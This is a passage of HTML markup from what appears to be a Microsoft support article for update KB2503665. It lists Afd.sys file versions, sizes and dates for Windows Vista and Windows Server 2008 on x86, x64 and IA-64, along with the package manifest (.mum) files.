class=\"sbody-strong\">n</strong>), and service branch (LDR, GDR) can be identified by examining the file version numbers as shown in the following table:<br/><div class=\"table-responsive\"><table class=\"sbody-table table\"><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Version</span></td><td class=\"sbody-td\"><span class=\"text-base\">Product</span></td><td class=\"sbody-td\"><span class=\"text-base\">Milestone</span></td><td class=\"sbody-td\"><span class=\"text-base\">Service branch</span></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">6.0.600<span class=\"text-base\">1</span>.<span class=\"text-base\">18</span><strong class=\"sbody-strong\">xxx</strong></td><td class=\"sbody-td\">Windows Vista SP1 and Windows Server 2008 SP1</td><td class=\"sbody-td\">SP1</td><td class=\"sbody-td\">GDR</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">6.0.600<span class=\"text-base\">1</span>.<span class=\"text-base\">22</span><strong class=\"sbody-strong\">xxx</strong></td><td class=\"sbody-td\">Windows Vista SP1 and Windows Server 2008 SP1</td><td class=\"sbody-td\">SP1</td><td class=\"sbody-td\">LDR</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">6.0.600<span class=\"text-base\">2</span>.<span class=\"text-base\">18</span><strong class=\"sbody-strong\">xxx</strong></td><td class=\"sbody-td\">Windows Vista SP2 and Windows Server 2008 SP2</td><td class=\"sbody-td\">SP2</td><td class=\"sbody-td\">GDR</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">6.0.600<span class=\"text-base\">2</span>.<span class=\"text-base\">22</span><strong class=\"sbody-strong\">xxx</strong></td><td class=\"sbody-td\">Windows Vista SP2 and Windows Server 2008 SP2</td><td class=\"sbody-td\">SP2</td><td class=\"sbody-td\">LDR</td></tr></table></div></li><li>Service Pack 1 is integrated into the release version of Windows Server 2008. Therefore, RTM milestone files apply only to Windows Vista. RTM milestone files have a 6.0.0000. <strong class=\"sbody-strong\">xxxxxx</strong> version number.</li><li>GDR service branches contain only those fixes that are widely released to address widespread, critical issues. LDR service branches contain hotfixes in addition to widely released fixes.</li><li>The MANIFEST files (.manifest) and the MUM files (.mum) that are installed for each environment are <a bookmark-id=\"manifests\" href=\"#manifests\" managed-link=\"\" target=\"\">listed separately</a>. MUM and MANIFEST files, and the associated security catalog (.cat) files, are critical to maintaining the state of the updated component. The security catalog files (attributes not listed) are signed with a Microsoft digital signature.</li></ul><h4 class=\"sbody-h4\">For all supported x86-based versions of Windows Vista and of Windows Server 2008</h4><div class=\"table-responsive\"><table class=\"sbody-table table\"><tr class=\"sbody-tr\"><th class=\"sbody-th\">File name</th><th class=\"sbody-th\">File version</th><th class=\"sbody-th\">File size</th><th class=\"sbody-th\">Date</th><th class=\"sbody-th\">Time</th><th class=\"sbody-th\">Platform</th></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">6.0.6001.18639</td><td class=\"sbody-td\">273,408</td><td class=\"sbody-td\">21-Apr-2011</td><td class=\"sbody-td\">13:16</td><td class=\"sbody-td\">x86</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">6.0.6001.22905</td><td class=\"sbody-td\">273,920</td><td class=\"sbody-td\">21-Apr-2011</td><td class=\"sbody-td\">13:12</td><td class=\"sbody-td\">x86</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">6.0.6002.18457</td><td class=\"sbody-td\">273,408</td><td class=\"sbody-td\">21-Apr-2011</td><td class=\"sbody-td\">13:58</td><td class=\"sbody-td\">x86</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">6.0.6002.22629</td><td class=\"sbody-td\">273,920</td><td class=\"sbody-td\">21-Apr-2011</td><td class=\"sbody-td\">13:28</td><td class=\"sbody-td\">x86</td></tr></table></div><h4 class=\"sbody-h4\">For all supported x64-based versions of Windows Vista and of Windows Server 2008</h4><div class=\"table-responsive\"><table class=\"sbody-table table\"><tr class=\"sbody-tr\"><th class=\"sbody-th\">File name</th><th class=\"sbody-th\">File version</th><th class=\"sbody-th\">File size</th><th class=\"sbody-th\">Date</th><th class=\"sbody-th\">Time</th><th class=\"sbody-th\">Platform</th></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">6.0.6001.18639</td><td class=\"sbody-td\">407,552</td><td class=\"sbody-td\">21-Apr-2011</td><td class=\"sbody-td\">13:42</td><td class=\"sbody-td\">x64</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">6.0.6001.22905</td><td class=\"sbody-td\">408,064</td><td class=\"sbody-td\">21-Apr-2011</td><td class=\"sbody-td\">13:47</td><td class=\"sbody-td\">x64</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">6.0.6002.18457</td><td class=\"sbody-td\">405,504</td><td class=\"sbody-td\">21-Apr-2011</td><td class=\"sbody-td\">14:20</td><td class=\"sbody-td\">x64</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">6.0.6002.22629</td><td class=\"sbody-td\">405,504</td><td class=\"sbody-td\">21-Apr-2011</td><td class=\"sbody-td\">13:54</td><td class=\"sbody-td\">x64</td></tr></table></div><h4 class=\"sbody-h4\">For all supported IA-64-based versions of Windows Server 2008</h4><div class=\"table-responsive\"><table class=\"sbody-table table\"><tr class=\"sbody-tr\"><th class=\"sbody-th\">File name</th><th class=\"sbody-th\">File version</th><th class=\"sbody-th\">File size</th><th class=\"sbody-th\">Date</th><th class=\"sbody-th\">Time</th><th class=\"sbody-th\">Platform</th></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">6.0.6001.18639</td><td class=\"sbody-td\">984,064</td><td class=\"sbody-td\">21-Apr-2011</td><td class=\"sbody-td\">13:32</td><td class=\"sbody-td\">IA-64</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">6.0.6001.22905</td><td class=\"sbody-td\">985,600</td><td class=\"sbody-td\">21-Apr-2011</td><td class=\"sbody-td\">13:27</td><td class=\"sbody-td\">IA-64</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">6.0.6002.18457</td><td class=\"sbody-td\">985,600</td><td class=\"sbody-td\">21-Apr-2011</td><td class=\"sbody-td\">14:05</td><td class=\"sbody-td\">IA-64</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\">Afd.sys</td><td class=\"sbody-td\">6.0.6002.22629</td><td class=\"sbody-td\">985,600</td><td class=\"sbody-td\">21-Apr-2011</td><td class=\"sbody-td\">14:10</td><td class=\"sbody-td\">IA-64</td></tr></table></div><h3 class=\"sbody-h3\">Additional file information for Windows Vista and for Windows Server 2008</h3><a class=\"bookmark\" id=\"manifests\"></a><h4 class=\"sbody-h4\">Additional files for all supported x86-based versions of Windows Vista and of Windows Server 2008</h4><div class=\"table-responsive\"><table class=\"sbody-table table\"><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_1_for_kb2503665_bf~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,752</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_1_for_kb2503665~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">2,459</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_2_for_kb2503665_bf~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,915</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_2_for_kb2503665~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">2,626</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_3_for_kb2503665_bf~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,757</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_3_for_kb2503665~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">2,464</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_4_for_kb2503665_bf~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,757</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_4_for_kb2503665~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">2,466</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_5_for_kb2503665_bf~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">2,391</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_5_for_kb2503665~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">3,116</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_6_for_kb2503665_bf~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">2,234</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_6_for_kb2503665~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">2,954</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_7_for_kb2503665_bf~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">2,234</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_7_for_kb2503665~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">2,954</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_client_1_bf~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,363</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_client_1~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,382</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_client_2_bf~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,682</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_client_2~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,709</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_client_bf~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,699</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_client~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,730</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_sc_0_bf~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,417</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_sc_0~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,437</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_sc_1_bf~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File size</span></td><td class=\"sbody-td\">1,678</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Date (UTC)</span></td><td class=\"sbody-td\">21-Apr-2011</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Time (UTC)</span></td><td class=\"sbody-td\">18:53</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">Platform</span></td><td class=\"sbody-td\">Not Applicable</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"></td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File name</span></td><td class=\"sbody-td\">Package_for_kb2503665_sc_1~31bf3856ad364e35~x86~~6.0.1.2.mum</td></tr><tr class=\"sbody-tr\"><td class=\"sbody-td\"><span class=\"text-base\">File version</span></td><td 